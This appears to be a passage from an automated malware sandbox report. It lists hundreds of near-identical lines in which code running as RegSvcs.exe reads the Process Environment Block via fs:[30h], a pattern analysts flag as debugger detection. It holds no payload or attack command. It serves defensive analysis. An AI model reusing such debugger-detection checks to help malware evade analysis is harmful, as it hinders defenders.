                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188E3F0 mov eax, dword ptr fs:[00000030h]14_2_0188E3F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188E3F0 mov eax, dword ptr fs:[00000030h]14_2_0188E3F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AA30B mov eax, dword ptr fs:[00000030h]14_2_018AA30B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AA30B mov eax, dword ptr fs:[00000030h]14_2_018AA30B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AA30B mov eax, dword ptr fs:[00000030h]14_2_018AA30B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186C310 mov ecx, dword ptr fs:[00000030h]14_2_0186C310
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01890310 mov ecx, dword ptr fs:[00000030h]14_2_01890310
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01948324 mov eax, dword ptr fs:[00000030h]14_2_01948324
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01948324 mov ecx, dword ptr fs:[00000030h]14_2_01948324
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01948324 mov eax, dword ptr fs:[00000030h]14_2_01948324
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01948324 mov eax, dword ptr fs:[00000030h]14_2_01948324
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0193A352 mov eax, dword ptr fs:[00000030h]14_2_0193A352
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01918350 mov ecx, dword ptr fs:[00000030h]14_2_01918350
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F2349 mov eax, dword ptr fs:[00000030h]14_2_018F2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F2349 mov eax, dword ptr fs:[00000030h]14_2_018F2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F2349 mov eax, dword ptr fs:[00000030h]14_2_018F2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F2349 mov eax, dword ptr fs:[00000030h]14_2_018F2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F2349 mov eax, dword ptr fs:[00000030h]14_2_018F2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F2349 mov eax, dword ptr fs:[00000030h]14_2_018F2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F2349 mov eax, dword ptr fs:[00000030h]14_2_018F2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F2349 mov eax, dword ptr fs:[00000030h]14_2_018F2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F2349 mov eax, dword ptr fs:[00000030h]14_2_018F2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F2349 mov eax, dword ptr fs:[00000030h]14_2_018F2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F2349 mov eax, dword ptr fs:[00000030h]14_2_018F2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F2349 mov eax, dword ptr fs:[00000030h]14_2_018F2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F2349 mov eax, dword ptr fs:[00000030h]14_2_018F2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F2349 mov eax, dword ptr fs:[00000030h]14_2_018F2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F2349 mov eax, dword ptr fs:[00000030h]14_2_018F2349
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F035C mov eax, dword ptr fs:[00000030h]14_2_018F035C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F035C mov eax, dword ptr fs:[00000030h]14_2_018F035C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F035C mov eax, dword ptr fs:[00000030h]14_2_018F035C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F035C mov ecx, dword ptr fs:[00000030h]14_2_018F035C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F035C mov eax, dword ptr fs:[00000030h]14_2_018F035C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F035C mov eax, dword ptr fs:[00000030h]14_2_018F035C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0194634F mov eax, dword ptr fs:[00000030h]14_2_0194634F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191437C mov eax, dword ptr fs:[00000030h]14_2_0191437C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F0283 mov eax, dword ptr fs:[00000030h]14_2_018F0283
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F0283 mov eax, dword ptr fs:[00000030h]14_2_018F0283
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F0283 mov eax, dword ptr fs:[00000030h]14_2_018F0283
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AE284 mov eax, dword ptr fs:[00000030h]14_2_018AE284
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AE284 mov eax, dword ptr fs:[00000030h]14_2_018AE284
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019062A0 mov eax, dword ptr fs:[00000030h]14_2_019062A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019062A0 mov ecx, dword ptr fs:[00000030h]14_2_019062A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019062A0 mov eax, dword ptr fs:[00000030h]14_2_019062A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019062A0 mov eax, dword ptr fs:[00000030h]14_2_019062A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019062A0 mov eax, dword ptr fs:[00000030h]14_2_019062A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019062A0 mov eax, dword ptr fs:[00000030h]14_2_019062A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019462D6 mov eax, dword ptr fs:[00000030h]14_2_019462D6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A2C3 mov eax, dword ptr fs:[00000030h]14_2_0187A2C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A2C3 mov eax, dword ptr fs:[00000030h]14_2_0187A2C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A2C3 mov eax, dword ptr fs:[00000030h]14_2_0187A2C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A2C3 mov eax, dword ptr fs:[00000030h]14_2_0187A2C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A2C3 mov eax, dword ptr fs:[00000030h]14_2_0187A2C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018802E1 mov eax, dword ptr fs:[00000030h]14_2_018802E1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018802E1 mov eax, dword ptr fs:[00000030h]14_2_018802E1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018802E1 mov eax, dword ptr fs:[00000030h]14_2_018802E1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186823B mov eax, dword ptr fs:[00000030h]14_2_0186823B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0192A250 mov eax, dword ptr fs:[00000030h]14_2_0192A250
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0192A250 mov eax, dword ptr fs:[00000030h]14_2_0192A250
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0194625D mov eax, dword ptr fs:[00000030h]14_2_0194625D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F8243 mov eax, dword ptr fs:[00000030h]14_2_018F8243
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F8243 mov ecx, dword ptr fs:[00000030h]14_2_018F8243
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186A250 mov eax, dword ptr fs:[00000030h]14_2_0186A250
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01876259 mov eax, dword ptr fs:[00000030h]14_2_01876259
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01920274 mov eax, dword ptr fs:[00000030h]14_2_01920274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01920274 mov eax, dword ptr fs:[00000030h]14_2_01920274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01920274 mov eax, dword ptr fs:[00000030h]14_2_01920274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01920274 mov eax, dword ptr fs:[00000030h]14_2_01920274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01920274 mov eax, dword ptr fs:[00000030h]14_2_01920274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01920274 mov eax, dword ptr fs:[00000030h]14_2_01920274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01920274 mov eax, dword ptr fs:[00000030h]14_2_01920274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01920274 mov eax, dword ptr fs:[00000030h]14_2_01920274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01920274 mov eax, dword ptr fs:[00000030h]14_2_01920274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01920274 mov eax, dword ptr fs:[00000030h]14_2_01920274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01920274 mov eax, dword ptr fs:[00000030h]14_2_01920274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01920274 mov eax, dword ptr fs:[00000030h]14_2_01920274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01874260 mov eax, dword ptr fs:[00000030h]14_2_01874260
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01874260 mov eax, dword ptr fs:[00000030h]14_2_01874260
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01874260 mov eax, dword ptr fs:[00000030h]14_2_01874260
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186826B mov eax, dword ptr fs:[00000030h]14_2_0186826B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A4588 mov eax, dword ptr fs:[00000030h]14_2_018A4588
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01872582 mov eax, dword ptr fs:[00000030h]14_2_01872582
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01872582 mov ecx, dword ptr fs:[00000030h]14_2_01872582
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AE59C mov eax, dword ptr fs:[00000030h]14_2_018AE59C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F05A7 mov eax, dword ptr fs:[00000030h]14_2_018F05A7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F05A7 mov eax, dword ptr fs:[00000030h]14_2_018F05A7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F05A7 mov eax, dword ptr fs:[00000030h]14_2_018F05A7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018945B1 mov eax, dword ptr fs:[00000030h]14_2_018945B1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018945B1 mov eax, dword ptr fs:[00000030h]14_2_018945B1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AE5CF mov eax, dword ptr fs:[00000030h]14_2_018AE5CF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AE5CF mov eax, dword ptr fs:[00000030h]14_2_018AE5CF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018765D0 mov eax, dword ptr fs:[00000030h]14_2_018765D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AA5D0 mov eax, dword ptr fs:[00000030h]14_2_018AA5D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AA5D0 mov eax, dword ptr fs:[00000030h]14_2_018AA5D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018725E0 mov eax, dword ptr fs:[00000030h]14_2_018725E0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AC5ED mov eax, dword ptr fs:[00000030h]14_2_018AC5ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AC5ED mov eax, dword ptr fs:[00000030h]14_2_018AC5ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189E5E7 mov eax, dword ptr fs:[00000030h]14_2_0189E5E7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189E5E7 mov eax, dword ptr fs:[00000030h]14_2_0189E5E7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189E5E7 mov eax, dword ptr fs:[00000030h]14_2_0189E5E7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189E5E7 mov eax, dword ptr fs:[00000030h]14_2_0189E5E7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189E5E7 mov eax, dword ptr fs:[00000030h]14_2_0189E5E7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189E5E7 mov eax, dword ptr fs:[00000030h]14_2_0189E5E7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189E5E7 mov eax, dword ptr fs:[00000030h]14_2_0189E5E7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189E5E7 mov eax, dword ptr fs:[00000030h]14_2_0189E5E7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01906500 mov eax, dword ptr fs:[00000030h]14_2_01906500
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01944500 mov eax, dword ptr fs:[00000030h]14_2_01944500
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01944500 mov eax, dword ptr fs:[00000030h]14_2_01944500
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01944500 mov eax, dword ptr fs:[00000030h]14_2_01944500
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01944500 mov eax, dword ptr fs:[00000030h]14_2_01944500
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01944500 mov eax, dword ptr fs:[00000030h]14_2_01944500
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01944500 mov eax, dword ptr fs:[00000030h]14_2_01944500
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01944500 mov eax, dword ptr fs:[00000030h]14_2_01944500
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189E53E mov eax, dword ptr fs:[00000030h]14_2_0189E53E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189E53E mov eax, dword ptr fs:[00000030h]14_2_0189E53E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189E53E mov eax, dword ptr fs:[00000030h]14_2_0189E53E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189E53E mov eax, dword ptr fs:[00000030h]14_2_0189E53E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189E53E mov eax, dword ptr fs:[00000030h]14_2_0189E53E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880535 mov eax, dword ptr fs:[00000030h]14_2_01880535
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880535 mov eax, dword ptr fs:[00000030h]14_2_01880535
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880535 mov eax, dword ptr fs:[00000030h]14_2_01880535
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880535 mov eax, dword ptr fs:[00000030h]14_2_01880535
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880535 mov eax, dword ptr fs:[00000030h]14_2_01880535
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01880535 mov eax, dword ptr fs:[00000030h]14_2_01880535
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01878550 mov eax, dword ptr fs:[00000030h]14_2_01878550
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01878550 mov eax, dword ptr fs:[00000030h]14_2_01878550
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A656A mov eax, dword ptr fs:[00000030h]14_2_018A656A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A656A mov eax, dword ptr fs:[00000030h]14_2_018A656A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A656A mov eax, dword ptr fs:[00000030h]14_2_018A656A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0192A49A mov eax, dword ptr fs:[00000030h]14_2_0192A49A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018764AB mov eax, dword ptr fs:[00000030h]14_2_018764AB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A44B0 mov ecx, dword ptr fs:[00000030h]14_2_018A44B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018FA4B0 mov eax, dword ptr fs:[00000030h]14_2_018FA4B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018704E5 mov ecx, dword ptr fs:[00000030h]14_2_018704E5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A8402 mov eax, dword ptr fs:[00000030h]14_2_018A8402
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A8402 mov eax, dword ptr fs:[00000030h]14_2_018A8402
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A8402 mov eax, dword ptr fs:[00000030h]14_2_018A8402
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186C427 mov eax, dword ptr fs:[00000030h]14_2_0186C427
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186E420 mov eax, dword ptr fs:[00000030h]14_2_0186E420
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186E420 mov eax, dword ptr fs:[00000030h]14_2_0186E420
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186E420 mov eax, dword ptr fs:[00000030h]14_2_0186E420
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F6420 mov eax, dword ptr fs:[00000030h]14_2_018F6420
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F6420 mov eax, dword ptr fs:[00000030h]14_2_018F6420
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F6420 mov eax, dword ptr fs:[00000030h]14_2_018F6420
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F6420 mov eax, dword ptr fs:[00000030h]14_2_018F6420
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F6420 mov eax, dword ptr fs:[00000030h]14_2_018F6420
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F6420 mov eax, dword ptr fs:[00000030h]14_2_018F6420
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F6420 mov eax, dword ptr fs:[00000030h]14_2_018F6420
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AA430 mov eax, dword ptr fs:[00000030h]14_2_018AA430
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0192A456 mov eax, dword ptr fs:[00000030h]14_2_0192A456
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AE443 mov eax, dword ptr fs:[00000030h]14_2_018AE443
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AE443 mov eax, dword ptr fs:[00000030h]14_2_018AE443
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AE443 mov eax, dword ptr fs:[00000030h]14_2_018AE443
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AE443 mov eax, dword ptr fs:[00000030h]14_2_018AE443
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AE443 mov eax, dword ptr fs:[00000030h]14_2_018AE443
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AE443 mov eax, dword ptr fs:[00000030h]14_2_018AE443
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AE443 mov eax, dword ptr fs:[00000030h]14_2_018AE443
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AE443 mov eax, dword ptr fs:[00000030h]14_2_018AE443
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189245A mov eax, dword ptr fs:[00000030h]14_2_0189245A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186645D mov eax, dword ptr fs:[00000030h]14_2_0186645D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018FC460 mov ecx, dword ptr fs:[00000030h]14_2_018FC460
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189A470 mov eax, dword ptr fs:[00000030h]14_2_0189A470
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189A470 mov eax, dword ptr fs:[00000030h]14_2_0189A470
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189A470 mov eax, dword ptr fs:[00000030h]14_2_0189A470
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191678E mov eax, dword ptr fs:[00000030h]14_2_0191678E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018707AF mov eax, dword ptr fs:[00000030h]14_2_018707AF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019247A0 mov eax, dword ptr fs:[00000030h]14_2_019247A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187C7C0 mov eax, dword ptr fs:[00000030h]14_2_0187C7C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F07C3 mov eax, dword ptr fs:[00000030h]14_2_018F07C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018927ED mov eax, dword ptr fs:[00000030h]14_2_018927ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018927ED mov eax, dword ptr fs:[00000030h]14_2_018927ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018927ED mov eax, dword ptr fs:[00000030h]14_2_018927ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018FE7E1 mov eax, dword ptr fs:[00000030h]14_2_018FE7E1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018747FB mov eax, dword ptr fs:[00000030h]14_2_018747FB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018747FB mov eax, dword ptr fs:[00000030h]14_2_018747FB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AC700 mov eax, dword ptr fs:[00000030h]14_2_018AC700
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01870710 mov eax, dword ptr fs:[00000030h]14_2_01870710
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A0710 mov eax, dword ptr fs:[00000030h]14_2_018A0710
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AC720 mov eax, dword ptr fs:[00000030h]14_2_018AC720
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018AC720 mov eax, dword ptr fs:[00000030h]14_2_018AC720
